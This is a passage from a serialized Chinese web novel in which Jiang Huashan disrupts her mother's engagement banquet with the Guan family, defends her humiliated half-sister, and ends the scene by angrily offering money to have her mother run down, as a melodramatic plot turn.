关山愣了愣,赶紧应道,“好!待会跟大伯喝一杯。” 关鹤扯着嘴角扫向一旁的方眉。 方眉察觉到关家小少爷的打量,脸上的笑容多了几分殷勤。 早在刚认识关山的时候,方眉就已经做足了功课,知道眼前的年轻人正是关家的宗少爷,得罪不得。 “大伯母在找小堂妹吗?” 这声大伯母叫的人猝不及防,方眉和关山同时一愣。 关鹤指着门外,“她在门口,说是等姐姐,大伯母还有个女儿?” 方眉有些受宠若惊,点头,“是。” 原本她还想多说两句,但一想到姜花衫的刻薄,当即又咽了回去。 关鹤点头,“挺好的,以后大家就是一家人了。”说完,双手插兜,大摇大摆往宴席走去。 关山一脸懵,不解看向方眉,“你认识阿鹤?” 方眉也是一头雾水,摇头,“我哪……” 她一愣突然反应过来,转身冲向门外。 姜晚意靠着墙,发型凌乱,妆容也花了。 方眉顿时变了脸,“意意,你怎么了?” 姜晚意眼神麻木,乍一听见方眉的声音眼里亮起一丝光,她一把扑向方眉,“妈妈,刚刚有人把我抓走了,我差点就……” 方眉皱眉,轻轻拍着姜晚意的肩膀,“这些事等以后再说,你赶紧收拾一下,别让人看笑话。” 笑话? 姜晚意身体止不住打了个冷颤,眼里才亮起的光慢慢寂灭。 方眉推开姜晚意,转头身边的跟妆助理使了个眼色,“带她去化妆间补个妆。” 刚转身,姜晚意一把拽住她的礼裙。 “妈妈,我想换件衣服。” “怎么还没好?”另一边,关山的声音隐隐有些不耐。 方眉回头看了姜晚意一眼,犹豫片刻拉下她的手,“意意,听话,妈妈这么做也是为了你好。” 姜晚意看着被推开的手,低头笑了笑。 * 十分钟后,一拖再拖的宴会终于开始。 关家大大小小几十人,而方眉这边只有她和姜晚意两人,说的好听是婚前相互熟悉,但其实就是一群人打着议亲的幌子,在面试方眉和姜晚意。 在不对等的阶级面前毫无公平和尊重可言,方眉早有准备,所以不管对方怎么为难自己,都一副全心依赖关山的娇妻模样,关山大为受用。 关夏月看出方眉是个有手段的,当即把目标转移到了姜晚意身上,“听说,你有两个女儿?” 姜晚意低着头没有回应,在这里完全没有她说话的份。 “是。”方眉笑着点头,悄悄拉了拉姜晚意。 姜晚意勉强抬头,“您好。” 关夏月略带深意笑了笑,“长的挺漂亮的,这件衣服也挺搭。” 姜晚意微愣,不知道为什么,这女人说到衣服时,她感受到了满满的恶意。 正说着,从厅外走进一群西装革履的中年男人。 “唉哟!老师!还真是您!” 来人是关山退休前的下属,男人一脸愧疚,看见关山当场下跪,“老师!我不是人,愧对您的栽培。” “这是做什么?起来!”关山被这阵仗吓的不轻,赶紧上前拉人。 男人狠狠抽了自己一巴掌,“老师,我酒喝多了,糊涂了,还请老师千万不要跟我计较。” 说罢,转头看向姜晚意,“小侄女,刚刚的事都是误会,叔叔在这给你赔个不是。” 姜晚意脸色煞白,怔怔看着眼前的男人。 关山见状,脸色凝重,“怎么回事?” 男人懊恼不已,“今天有个私局,底下的人瞒着我安排了一点节目,没想到把服务员把小侄女误认成了表演人员。他们没规律,下手没轻重吓着了小侄女,我听闻老师在这举办家宴,特来道歉。” 这话一出,全场一片静默。 关山当即明白了什么,抬眸看向关业,他是老了,但还不至于老糊涂到有人算计到他脸上了依旧毫无所察。 关业也不是第一次做这种事,无所谓耸了耸肩。 方眉脸色微变,联想起刚刚姜晚意的异样,怒道,“你们分明就是故意的,我女儿好好的站在那,怎么会被认错?说?!到底是谁指使你的?” 男人并不把方眉放在眼里,“我哪知道一个装着情趣礼裙的女人会是跟老师有关系?” 情趣礼裙。 姜晚意眼眸颤动,忽然眼前一黑。 难怪,今晚所有人的眼神都不对,她这样,跟没穿衣服有什么区别? …… 第446章 她是什么来头? “什么情趣礼裙?”方眉一下乱了阵脚,“你可不要在这胡说八道。” 关初露冷笑,“嚎什么?这就要问问你自己了?好好的怎么会选了件这么上不了台面的衣服?要我说,这是也不能怪别人,女孩子自己不检点穿的不三不四,这不是勾引别人犯罪吗?” “你!”方眉张口想骂,忽然想到自己的目的,咬牙忍了回去。 “你什么你?难道我说的不对吗?上梁不正下梁歪,还好现在我们关家跟你们还没有关系,否则脸都被你们丢完了。” “没有关系?”跪在地上的男人长舒了一口气,“这么说,她跟老师您没有关系?” 关山脸色阴郁。 话都说到这份上了,他怎么会不知道那群兔崽子的心思? 现在承认没有关系,婚事就黄了,但起码脸保住了。 但要承认有关系,明天,他关某人的继女穿情趣礼裙招摇过市,被下属玩弄的新闻就会飘的满大街都是。 关业没想到都这个时候了老头竟然还在犹豫,权衡片刻,起身看向一直没有表态的关楼。 “二叔,这事要是传出去丢的是我们关家的脸,您说呢?” 关楼心如明镜,冷冷看了关山一眼,“一把年纪了还闹什么?” 关山脸色更加不好看,虽说他比关楼年长,但这些年关家族大事都是关楼作主,刚才那句话显然是对他有所不满。 想到这,关山不免又埋怨起方眉,他早就提醒过她,这三个逆子会闹事,结果还是应付不了,真是一点用都没有。 眼看事情僵持不下,方眉眼底闪过一丝决绝,抬手一巴掌甩向姜晚意。 “啪——” 清脆的一声巨响在静默中炸开,姜晚意捂着僵麻的半张脸,眼神呆滞看着方眉。 方眉眼眶微红,声音哽咽,“我平时是怎么教你的?你怎么还是这么不懂事?你真是让妈妈失望了?” 失望? 她才是真的失望吧? 她张了张口,想出声反驳,却发现她的喉咙颤抖地一点声音都发不出来。 “哟~好热闹~唱戏呢?” 这一声犹如天外之音忽然降临,打破了不在同次元的壁垒。 姜晚意瞬间回神,几乎是本能顺着声音来源看了过去。 郑松推着姜花衫慢慢走进主厅,身后跟着一排西装保镖。 关鹤扣了扣眉毛,这家伙怎么回事?每次出场都这么臭屁,沈家给的排场也太大了吧? 关楼注意到他的动作,偏头小声问道,“就是那个轮椅上的女生打的你?” 关鹤深怕自己开赌场的事被发现,含糊道,“这是我和她之间的事,你少管。” 关楼眼神微变,不着痕迹看了关鹤一眼。 姜花衫这气场一看就知道来头不小,关家三兄妹对视了一眼。 关业拍桌起身,“你什么人?这是我们关家家宴,你来做什么?” 方眉唯恐姜花衫把她的婚事搅黄了,立马笑着上前引荐,“大家别误会,这是我的女儿,衫衫,快叫人啊。” 关家人一听说是方眉的女儿,当即起了轻视之心,“我说了,怎么这么没规矩,原来是家教有问题。” 这话一出,饶是关楼都变了脸色。 姜花衫自小被沈老爷子养在膝下,说她家教有问题,那不是等于指着沈家老爷子鼻子骂? “住……” 不等他开口训斥,轮椅上的女孩抬手指着说话的关夏月。 “郑松,去!撕了她的嘴。” 关楼愣了愣,这孩子也太嚣张了,他正要起身,旁边的逆子一把拽着他的胳膊。 “爸,你别去,她可是个小疯子。” 小疯子?关楼眼神复杂,现在的小孩,爱称都进化成这样了? 算了,儿子要护着就护着吧。 郑松出门在外就是台令行禁止的机器人,姜花衫一声令下,他二话不说转身向关夏月走去。 “你……你别过来,你想干什么?” 郑松身形壮硕,形如恶鬼,关夏月大惊失色,朝方眉怒吼,“你还愣着干什么?我要出了什么事,你这辈子都别想进关家。” 方眉转头看向姜花衫,“衫衫……” “听见了。”姜花衫单手托腮,笑的恶劣,“郑松,杀了她。” “!” 在场所有人脸色大变,还没来得及阻止,就看见那蛮山大汉一手掐住关夏月的脖子,一手捏头,像扭动玩具抽条一样指尖一转,关夏月当即闭上了眼睛。 郑松当即一把将人丢在地上,转身回到姜花衫身边。 “啊啊啊啊!杀人了!” 这一变故吓的所有人都从座位上站了起来,关山一脸震惊,不敢相信看着轮椅上的女孩。 关业浑身哆嗦,跑上前探了探鼻息,发现关夏月只是晕死过去了才松了一口气。 姜花衫一脸无辜,“别那么严肃嘛?我不过是跟大家开个玩笑,杀人可是犯法的,我这么有家教的人自然不敢做。” 关初露咬牙,指着姜花衫,“你们还愣着做什么?还不快把她抓起来?!” 关家的保镖下意识看向关楼,关初月这才意识到自己越权了,连忙缓和,“二叔,这丫头太嚣张了,必须给她点颜色瞧瞧,不然……” “行了。”关楼抬手打断,抬眸看向姜花衫,“小丫头,今日是我关家家宴,就算是沈老爷子来了,也没有这么行事的道理。” 关楼是什么身份,能让他如此放低姿态的又岂会是常人? 众人脸色微变,慢慢坐了回去。 关山看着地上躺着了女儿,拉着方眉小声质问,“你这女儿到底什么来头?” 这几年关山一直在外面游玩,所以对鲸港人情不如以前,当时他只听说方眉的女儿被沈家收留,以为不过是大户人家收养个小孩儿玩玩,也就没放在心上,谁知姜花衫一出场直接闹个鸡犬不宁。 方眉也是茫然无措,她走了五年,对姜花衫的认知还停留在五年前,万万没想到她现在竟然猖狂至此。 但最震惊的还是姜晚意,这一晚上她感受最多的就是关家的傲气,哪怕她站着说话都像是在跪着逢迎。 但姜花衫不一样,她坐在那,与关山、关楼、关家所有人对峙,腰身不曾弯下一寸。 面对国会议员长的质问,她风轻云淡,“您多虑了。恕我直言,这么LOW的宴会级别,还请不到我爷爷。” …… 第447章 买一赠二 早听说沈家把这丫头宠的无法无天,还真是百闻不如一见。 怪不得敢打他儿子。 关楼神色不显,“哦,看来我应该去问问沈老爷子,什么级别的宴会才请的起他老人家?” 以关楼的身份,不至于和一个小辈计较,但今天是关家的家宴,作为家族核心主力他自然要维护家族颜面。 宴会上的都是关家的人,姜花衫这句话可算是犯了众怒。 关山眼看大家情绪不对,立马挺身而出,“那个!衫衫是吧?今天是什么日子难道你不知道吗?你要再闹下去,你的母亲和妹妹可就没脸看了。” 姜花衫有沈家做靠山自然不怕,但方眉和姜晚意无依无靠,在这吃人不吐骨头的名利场还不任人搓圆揉扁? 这话,多少带了点威胁的成分。 方眉脸色微变,赶紧上前劝阻,“衫衫,你别闹了,事情闹大了可就不好收场了。” 姜花衫笑了笑,歪头打量方眉,“能有多大?难不成还能比《虐杀案》还大吗?” 说起《虐杀案》,在座众人神情怪异,死去的记忆如洪流袭来,他们突然想起眼前这个女孩可是以一己之力逆风翻盘的“超级英雄”。 方眉消息闭塞尚且还没反应过来,虽然听不懂姜花衫在说什么,但直觉告诉她一定不是好事。 她只能先稳住姜花衫,“衫衫,我们不是说好了吗?过去的事就让它过去?” 方眉一步一步靠近,蹲身靠在轮椅旁,轻轻拉着姜花衫的手,用只有她们两人能听见的声音哀求,“这是我梦寐以求的生活,我马上就要实现了,就算我求你,不要毁了它。” 姜花衫面无表情看着她们相握的手。 关山见状,以为方眉拿捏住了姜花衫,轻咳了一声整理胸前的领结,“这里是我们关家的家宴,闲杂人等都出去。” 他口中说的闲杂人等正是姜花衫身后的西装保镖。 姜花衫挑眉,指尖一点一点从方眉的掌心抽离。 “看来,你已经完全忘记了五年前我在医院警告过你什么?”她的声音极轻。 方眉怔愣,像看怪物一样看着眼前的少女。 “我说过,如果你真的爱过我,哪怕只有一点,就请你离开沈家,离开鲸港,永远都不要再回来。你当时很生气,打断了我的话,其实还有下半句。” 方眉的心跳突然不受控制疯狂窜动。 她用十分惋惜的口吻说道,“因为,下一次,我不会再手下留情了。” 话落,不等方眉反应,姜花衫推着轮椅从她面前越过,眼神无礼打量关山,大声道,“这就是你给我找的后爸?潦草如狗,一身老人味,你图他什么?” 关山怔然,难以置信看着姜花衫。 方眉起身,冲上前想捂着姜花衫的嘴,郑松早有准备,往前一步,如同一座人形巨山阻隔了两人之间的距离。 姜花衫捂着鼻子,一脸嫌弃回看方眉,“图他年纪大死的快,财产随手拿一半?还是图他一身鸡皮疙瘩不洗澡,头发少毛病多?” “噗!” 关鹤正端杯喝水,差点一口喷在关楼脸上。 关楼皱了皱眉,这小丫头嘴巴怎么这么毒? 合着她以后就不会老? 关山从没被人如此下过面子,气嘴都歪了。 “真是林子大了什么鸟都有。”关初露生怕关山气出个好歹,连忙上前搀扶。 “爸,我就说这贱民娶不得吧?你看看她养的都是些什么货色?一个穿着情趣礼裙招摇过市搔首弄姿,一个狗仗人势满嘴喷粪。爸!现在看清也不晚,把她们赶出去!” 关山捂着心口,脸色阴冷看着方眉,“我待你不薄,你就是这么报答我的?” 方眉摇头,泫然欲泣,“老关,你要相信我啊。她恨我,她是故意在挑拨我们之间的关系啊!” 关山面露迟疑,方眉的确一开始就跟他说过,她的大女儿仗着沈家的势,从小和她并不亲厚。 “衫衫!你够了!从小到大我什么事没有依着你?你为了留在沈家,把我和你妹妹赶出鲸港我都忍了。但我万万没想到你竟然自私到了如此地步,你毁了我不要紧,难不成你还要毁了你的妹妹吗?” 说着,方眉拽着姜晚意推给关山,“意意,你说,你姐姐是不是我说的那么回事?” 关山眼神微变,不着痕迹扶了姜晚意一把。 原本他也并不是非方眉不可,但是方眉允诺他,只要娶她做太太就把这个小的送给他玩。 关山在男女之事上一直都有些怪癖,尤其好母女恋,恰巧姜晚意甜美的长相也符合他的审美,想着买一送一这才应下了方眉。 老头儿粗糙的手掌摸上姜晚意的胳膊时,她生理性感到恶心,想也没想反射条件甩开手。 这么不识好歹,关山当即沉下脸,“阿露,你说的对,一个拿情趣当衣服的女人能是什么好货色?今天就算是我瞎了眼,让大家看笑话了。” 姜晚意脸色瞬间惨白,这句话无异于将她钉上了耻辱柱,她这辈子都会被打上低俗淫乱的标签。 可是,分明这些人比她更脏! 凭什么? 凭什么! 姜晚意死死攥着掌心,恨不能亲手撕了身上的衣服。 但她不敢,撕了身上的衣服,她连最后的遮羞布都没有了。 “老关?你这是什么意思?”方眉神色慌张,一把拽着关山,“你不能说话不算话啊!” 关山面露嫌恶,扒开方眉,“什么意思?还不明显吗?我关家丢不起这个人。” 姜花衫一开始的目的就是搅黄方眉的婚事,现在目的已经达到,那就没有再待下去的理由了。 她想了想,当即做了决定,推着轮椅准备退场。 关山见状,刻意抬高音量,“当初说好的买一赠二,你却拿个残废和残次品来搪塞我?不过,我这人一向讲感情,这段时间你们当牛做马服侍我也算尽心,我就不跟你们计较了。翡翠山庄那套房子算结给你们的劳务费了,免得说我关山亏待了你们母女。” 话音一落,姜花衫立马按住轮椅。 沉默片刻,她慢慢转过头,“买一赠二?” …… 第448章 脏的是你们 宴会上,方眉是乞讨之姿,姜晚意是被贴上情趣标签的货物,由此再引申关山方才那所言,其隐喻有多恶毒就不言而喻了。 姜花衫推着轮椅调转方向,直接开怼,“死老头儿,你有本事再说一句!” 恶心方眉和姜晚意可以,但恶心她不行! 关山眼里的幽光瞬间寂灭,大庭广众被人叫死老头还是第一回。 他下意识张口想骂,立马又反应过来不能掉进自证陷阱,于是憋着一口气假装没听见。 关初露忍无可忍,指着姜花衫破口大骂,“你叫说死老头?这里是我们关家的地方,不欢迎你!还不滚出去?!今天要不是看在沈老爷子的份上,你以为凭你也配这么和我们说话?” 姜花衫笑了笑,指着一旁看戏的男人,“在位公职人员,聚众淫乱,我身为A国奉公执法好公民实在看不下去,只能实名举报了。” “误会!刚刚是底下人认错了姜小姐,我们什么都没做,我先告退了。” 男人刚走两步就被沈家的保镖拦了下来,眼皮直跳,讨好对着姜花衫抱拳,“姜小姐还有指示?” 关家人敢跟姜花衫叫板是仗着沈楼在场,他区区一个粮食局小委员,碰见姜花衫只有求饶的命。 姜花衫,“说吧,谁让你们抓人的?” 关初露和关业脸色微变,相互看了一眼。 男人抹了抹额头的冷汗,“我听不懂姜小姐在说什么?我都说了,这一切都是误会。” “想清楚,如果我没记错,你父亲的祖籍应该是在襄英吧?出门在外,莫忘家中长辈叮嘱,要是拿不定主意不如问问你父亲?” 关楼眉头拧动,颇有些意外打量姜花衫,小丫头片子,大庭广众直接威胁,这是在比谁家底硬? 男人脸色微变,得罪关家大不了就是丢官职,但如果得罪沈家,只怕连家底都没有了。 权衡再三,男人咬紧牙关看向关业。 关业脸色骤变,发狠瞪向男人,“你看我是什么意思?” 男人也不敢明说,低着头,“关秘书说给我安排了节目,我也是听从关秘书的安排……” “住口!”关山眼角抽动,冷冷看着男人,“祸从口出,掂量清楚再说话。” 他早就知道是这三个逆子谋划的一出好戏,但关业是他唯一的儿子,这个节骨眼他不可能任由别人毁了关业的前途。 男人欲言又止,虽然没有明说,但眼神已经告知了一切。 事情真相如何,在座关家人其实已经心知肚明,但一边是家族颜面,一边是无足轻重的蝼蚁,没有人关心。 姜晚意这才反应过来,原来她就是这里面一颗可以被随意践踏的棋子,一时没忍住,她指着关业,“是你指使他们强迫我的!” 关业恼羞成怒,眼底闪过一丝杀意,“你指谁?活得不耐烦了?” 姜晚意手颤抖着收了回去。 “你还有脸装出一副受害者的样子?”关初露双手抱胸,像看什么廉价的脏东西打量她。 “今晚是家宴,你穿成这样是想勾搭谁?就算真有什么心思也该注意一下场合,要真勾搭上了谁,难不成你还想跟你母亲做姐妹?” “哦!瞧我这记性,你母亲原本就盘算着买一赠二的买卖,你们哪还有什么脸面?” “你!”姜晚意气的浑身打抖,“分明是你们栽赃陷害,却还反过来污蔑我?” 关初露完全不把姜晚意放在眼里,冷笑调侃,“说的跟真的似的,难不成你身上这件衣服还是我们逼着你穿的?” 姜晚意正欲反驳,一旁的方眉大力拉住她,脸色黯然,“意意,别说了。” “妈……” 为什么不说,为什么要任由她们欺辱?难道她这五年来受的耻辱还不够吗? 这里是鲸港,今天这事一旦传出去,她的名声就全毁了。 “为什么不说?” 有人跟她有一样的质疑。 姜晚意愣怔,抬眸,她最讨厌的人坐在轮椅上平静看着她,她的眼神也一如既往的讨厌,仿佛能看穿她。 关初露冷笑,“没有脸当然不敢说了。记住了,贱人贱命,人这辈子最重要的就是学会认命,山鸡终究是山鸡,就算飞上枝头也变不了凤凰。”说罢,故意挑衅看向姜花衫。 姜花衫笑了笑,“我爷爷说过,大多数人的愚昧都是从下定义开始,因为一旦形成固有思维,心中的成见就是一座大山,被规矩限定的人永远都活不出灵魂。我之前总是一知半解,但看见在座诸位终于豁然开朗。” “淫者见淫,污者见污,好端端的一件衣服,你们偏偏要用最下流和不堪的眼色去解读,我想请问大家,脏了的到底是这件衣服还是在座诸位啊?” 众人脸色微变,就连关楼眼神都严肃了几分。 姜花衫抬眸打量姜晚意,平静自述,“在我眼里,我只看到了黑色和金色融合相得益彰,少女的曲线带着柔和的力量感,那是年轻的生命力,那诸位又看到了什么?” 无人回应,她又自问自答。 “现在我已经买下了这件衣服的版权,明天它将会被送到S国最顶级的时装舞台,由世界顶级超模完成表演,它将被S国女王以重金拍下收纳衣橱,女王拿着这件礼裙向世人宣告她的理念,女性应该有取悦自己的权利,请问诸位,还是这件衣服,它低俗吗?” 多么可笑,人创造了物质,最后却被内心的成见物化。 姜花衫抬起头,目光真诚,“所以,明白了吗?真正垃圾的是你们?脏的也是你们!” “……” 姜晚意轻轻松开指尖,眼底震碎出了一道光,她低着头看向身上的裙摆,忽然觉得绑在她身上的枷锁解开了。 关初露脸色阴沉,回头看向关楼。 这死丫头,嘴皮子怎么这么厉害?动不动就把沈家老爷子搬出来当挡箭牌,真是难缠。 不等众人反应,姜花衫扬起嘴角朝关楼笑了笑,“关老伯伯,您可得的当心啊?小心后继无人撑不起家族门楣。” 关鹤吓的心都悬了起来,草!骂完他们又来骂他了! 关楼:“……” 伯伯就伯伯,老伯伯是什么意思? …… 第449章 全身而退 姜花衫这番言论不可谓不嚣张。 关山眼中怒气渐盛,原本以为方眉无权无势好拿捏,没想到竟然有个硬茬女儿。 不仅光山,关家所有人的脸色都阴沉得不像话。 一个小丫头片子竟然指着他们一群人的鼻子骂垃圾?这谁能受的了? 但有关楼坐镇,即便其他人有意见也不敢逾矩,纷纷侧头观察关楼的脸色。 关楼双指交叉,目光在姜花衫脸上停留了片刻后,转头看向身边的关鹤。 老头子怎么看过来了?难不成是发现了什么? 关鹤的心一下提了起来,眼神不自觉闪烁,手也多了起来,故作姿态端起水杯,想喝水发现是空杯又放了回去。 整个流程一半都是假动作,一时没注意,水杯放空,砰的一声炸开了花。 这一声在气氛僵持的宴厅里如同惊雷乍起,所有人的目光不约而同看了过去。 关初露脸上立马露出得逞的微笑,二叔老来得子,膝下就关鹤这一个儿子,死丫头一句后继无人不是等同指着关鹤鼻子骂? 关鹤是谁?天不怕地不怕的小霸王,沈家这死丫头得罪他,算是踢到铁板了。 唯有关楼看在眼里,不动声色。 关鹤有些懊恼,但大家都看着,他总得说点什么。 正要开口,姜花衫吊梢着眼斜睨他,先声夺人,“怎么?你有意见?” “……”关鹤咬着腮帮,强颜欢笑,“没意见。” 说完又觉得晦气,对着姜花衫竖了个大拇指,“行!你牛!” 惹不起躲总躲的起吧? 关鹤一脚踹开身后的椅子,双手插兜往门口走去。 这一操作把所有人都看懵了,在家里横行霸道的祖宗什么时候这么好说话了? “阿鹤?你怎么就这么走了?”关初露难以置信,不死心上前拦住关鹤。 关鹤原本就一肚子火,关初露的动作直接把他惹毛了,一点留情也不留,一把将人甩开。 “行了!还嫌丢脸丢的不够吗?你们要弄手段也弄干净点,人家背靠沈家什么查不出?我不走?难道留下来跟你们一起丢脸吗?” 关初露被推倒在地,不敢有半点怨言,一脸无措看向关楼。 关楼扫了关鹤一眼,“阿鹤。” 关鹤烦躁地很,冷笑了一声,转头出了宴厅。 关业要看情况不对,急促走到关楼面前,态度恭敬,“二叔,今天这事可不能就这么算了,要是传出去,我们关家……” 姜花衫笑了笑,“传出去?怎么?关家现在这么没有实力的吗?这种事还能传出去?” 关业暗恨,狠狠看向姜花衫,“你别以为有沈家撑腰就可以无法无天了!” 姜花衫懒得理这种小小角色,目光坦然看向关楼,“关老伯,今天这事到底是谁在背后搞鬼,想必您心里一清二楚。本来嘛,仗势欺人也不是可以,但欺错的人就要认栽。” 这话虽然听着刺耳,但的确是这么个理儿。 关楼神色平静。 他曾在荧幕前看着被告席的女孩儿仰首挺胸与司法对抗,那个时候他就已经见识过女孩儿的自辩逻辑,所以姜花衫能说出‘礼服视角论’,他一点都不意外。 但,他万万没想到,这个女孩儿除了有清晰高维的认知之外,竟然也深谙权谋。 刚刚那一句,“这种事还能传出去”实在是不得不让关楼对沈庄的教育折服。 今天整件事串联在一起,无非就是关家以为踩了一只可以随意拿捏的蝼蚁,不想竟是一条酣睡的毒蛇。 既然是毒蛇,自然会反咬。 大家族之间很多时候争来争去,争得不过就是所谓的虚名,如果在不损害彼此名声利益的情况下,大多数都会选择息事宁人。 关楼沉默片刻,给自己倒了一壶热茶,“既然是关家家宴,不相干的人都散了吧。” “二叔……” 关业和关初露脸色难看,原本还想说什么,关楼抬眸扫一眼,两人心下一凛立马噤声。 方眉怔愣,不可置信看着姜花衫,原以为这丫头会被关楼狠狠教训一顿,没想到就这么轻飘飘揭过了。 关山脸色阴翳,死死看着方眉和姜晚意。 姜晚意打了个冷颤,犹豫片刻小跑到姜花衫身边,“姐姐。” 姜花衫没有回应,“郑松。” 郑松会意,推着姜花衫出了宴会厅。 “姐……” 姜晚意还不死心,想追上前,身后的保镖立马围起一堵人墙阻隔了她的视线。 方眉从身后走了上前,眼神透着阴冷,“这个死丫头,早知道她这么没良心,当初就不该把她生下来。” 姜晚意只觉后脊背发凉,侧头看向方眉。 方眉神色转变,温柔摸了摸姜晚意的脸,“意意,在这等我。” 说罢,方眉快步追出过道。 * 郑松按下电梯,左右两部电梯同时到达。 “叮——” 就在电梯门缓缓打开时,方眉冲进人群,朝姜花衫嘶喊,“衫衫!” 保镖抬手,将方眉阻拦在人墙之外,姜花衫面无表情,好似没听见,任由郑松推着她往电梯走。 方眉没想到姜花衫竟然这么不讲情面,又联想到她刚刚毁了自己苦心经营的计划,不顾体面大声怒喊,“姜花衫,你要是现在敢走,信不信我立马让你身败名裂!” 姜花衫按住轮椅,侧头看着她,“你疯了?” 方眉眼底透满血丝,“是你逼我的,我原本可以拥有一切的,你毁了它。” 姜花衫一脸无辜,“一个老头儿就能让你拥有一切?” 方眉气的脸色发紫,她这一年忍着恶心讨好那老不死的,好不容易才有了今天的局面,结果又被姜花衫毁了!这叫她怎么咽得下这口气? “衫衫,我有话跟你说。” 姜花衫撇了撇嘴,“可惜了,我没话跟你说。” 方眉,“我劝你还是先听听,难道你不想知道我为什么回淮城吗?” …… 第450章 撞她 姜花衫指尖轻轻敲击扶手,沉默片刻,转头看向郑松,“把我推过去,让他们去外面守着。” 郑松犹豫片刻点了点头,朝保镖做了个手势,所有人守在过道口。 方眉见姜花衫一句话竟能让指挥郑松,心里极不是滋味,她曾在沈园住过,自然知道这意味着什么? “没想到老爷子竟偏心至此?” 姜花衫不欲跟她废话,淡淡道,“说吧,你为什么去淮城?” 方眉此时已经收敛了情绪,语气缓和的不少,“衫衫,我是你的亲生母亲,你何必要对我有这么大的敌意呢?” 姜花衫看了她一眼,推着轮椅准备走,方眉脸色微变,赶紧拦住她。 “你知道老爷子为什么会收养你吗?” 姜花衫敲了敲手指。 “因为你奶奶,老爷子与你奶奶有故,她以为你是姜昕的孙女,所以他才收留了你。” 方眉弯腰靠近她,眼神得意,“你说,如果老爷子知道你不是姜昕的孙女,沈家还会要你吗?” 姜花衫目光一怔,眼底掀起暗涌,冷冷看着她。 方眉笑着拍了拍她的肩膀,“别紧张,我和你不一样,我不会故意毁了你的生活,当然,前提是我也能过的好。” 见她还是不接话,方眉自顾说道,“听说沈娇对你不错?你倒有手段,把亲生母亲赶出家门,就是为了巴结沈娇?我好不容易搭上关山这棵大树,现在全被你毁了,你是不是应该表示点什么?” “沈娇最不缺的就是钱,既然她认了你当女儿,应该给了你不少好处吧?五百万,只要你给我五百万,我保证以后在外面谨言慎行,不给你添麻烦,不然……” 姜花衫推开她的手,“不然怎么样?” 方眉见她冥顽不灵,冷笑道,“不然我就去告诉老爷子,你是我背着姜钰在外面偷汉子生的野种。” 另一边,转角的电梯里站着四个人。 周宴珩神色淡淡按着开门按钮,关鹤一脸震惊,乔金锦略有诧异,还有一人低着头紧紧攥紧拳头。 小厅的落地窗前倒映着两人的身影。 姜花衫无声抬起头,静静看着眼前的女人,这一刻,她仿佛看见了上一世的方眉。 方眉不知她在想什么,眼底只有对金钱的贪婪,“怎么样?很划算吧?你看看你,现在过得多体面多风光?你也不想有个被人处处嘲笑,事事都看不起的母亲吧?” 姜花衫,“我如果不给呢?” 方眉眼里透着血色,“衫衫,你别忘了,沈家现在还没有将你纳入族谱,你的户籍还在淮城,监护人那一栏还写着我的名字。” “所以呢?” 方眉皱眉,“一荣俱荣一损俱损,人家大家族都讲究门当户对,我若成了鲸港城里人人喊打的笑话,你以为你还能高贵到哪里去?” “今天你把我的婚宴闹成这样,以后这名利圈谁还敢要我?那我岂不是只能加大筹码,如果买一送一不行就只能买一赠二了。” “当然,你有老爷子撑腰我不能拿你怎么样?但这样的流言你受得了吗?就算你受得了,以后这名门里还有谁敢要你?老爷子再有本事他能让别人心甘情愿吗?” 当然不能。 这个答案她上一世就已经明白了。 所以,这一世她从没打算将自己的未来托付给谁,她甚至都没有计划过自己的未来,因为她看见过因果,是个不需要未来的人。 姜花衫抬眸,细细打量方眉,说实在的,因为恶心,她已经很久没有正眼看过她了。 “我……” 正要开口,眼前突然闪过一道黑影。 那人像只莽撞的猛兽一头把方眉撞了出去。 “啊!”方眉不防,扑通一声栽倒在地。 姜花衫愣了愣,许久后才反应过来,怔怔看着眼前的女孩,“苏妙?” 苏妙气的全身发抖,狠狠瞪着方眉。 方眉扶着墙慢慢爬了起来,“你是什么人?我和我女儿说话有你什么事?” 苏妙,“你闭嘴,你个妖婆!老毒妇!谁是你的女儿?像你这种人根本就不配有孩子!” 方眉不知苏妙的底细,被骂也只是皱了皱眉,眼神阴冷看向姜花衫,“衫衫,你最好想清楚。” 苏妙脸色微变,转头拉住姜花衫的手,“别理她。” 姜花衫看着苏妙被气的涨红的脸色,一时哭笑不得。 她早就知道了她和方眉之间的因果,又怎么会被一两句话挑衅了?之所以跟方眉周旋,不过就为了激怒她。 方眉心比天高,连沈娇都不放在眼里,这样的人怎么会愿意屈尊讨好一个糟老头?所以,她一定有更大的图谋。 原本她打算试探方眉,等确定了她真的与爷爷、或者沈娇之死有关再动手。 但……从方眉否认她是爸爸的孩子后,她改变了主意。 这一次她不想再欺骗自己了,也不想再陷入被动,所以她打算主动对方眉出手。 方眉最擅长的就是表演,只要撕下她恶假面,她将在鲸港寸步难行。 关家宴会是第一步,还剩下一步就是她刚刚对她说出的那些伤人的话。 那些话可是精准踩中了爷爷的逆鳞,一旦传到爷爷耳朵里 ,方眉的免死金牌就算没有了。 以后就算方眉真遇上什么事,沈家也不会出面了,不仅如此,爷爷知道她受的委屈,第一件要做的事应该就是把方眉从监护人一栏中除名。 但苏妙好像误会了,以为她是个和自己一样受生母要挟的可怜虫。 姜花衫想了想,轻轻回握苏妙的手,选择了被她保护。 方眉心知眼下不是谈事的时机,又放柔了声音,“衫衫,希望你能认真考虑一下。” 说罢,扫了苏妙一眼,转身走出了过道。 厅外,姜晚意心神不宁等着方眉,远远见她走来,立马迎了上去。 “妈,你跟姐姐说了什么?” 方眉看了她一眼,眼眸阴凉,“先回家。” * 另一边,姜花衫目送方眉离开后,低头笑了笑,若无其事推着轮椅转身,眼眸一转,不偏不倚正好与角落三人的目光对上。 乔金锦略有些尴尬,要不是周宴珩一直按着电梯不松,他们也不会听见刚刚的对话,现在被抓了个正着实在有些尴尬。 关鹤看见姜花衫这么可怜,只觉出了一口恶气,嬉皮笑脸,“你不是挺能耐的吗?怎么也会被人威胁?” 姜花衫充耳不闻,侧头看着窗外的风景。 “路边那辆黑色的跑车是你们的?” 周宴珩看了一眼,“我的。” 这时,方眉和姜晚意正好从酒店出来,在马路边等车。 姜花衫转过头,指着方眉的背影,“我出一千万,撞她。” …… 第451章 撞了 撞谁? 关鹤脸上的笑容顿时僵硬,像看疯子一样打量姜花衫。 这人病得不轻啊,连自己的亲生母亲都能下手。 周宴珩挑了挑眉,“我不缺钱,换个条件。” “?” 什么换个条件?关鹤怔愣,唰得一下转头,“大哥,你不是吧?她疯你跟着疯?” 苏妙也吓了一跳,表情凝重,一把拉住姜花衫,“衫衫,你先冷静一下,事情还没到这个地步,咱们还是先想想别的办法。” 姜花衫摇头,抬脚踹了踹关鹤,“他不去,你去。” 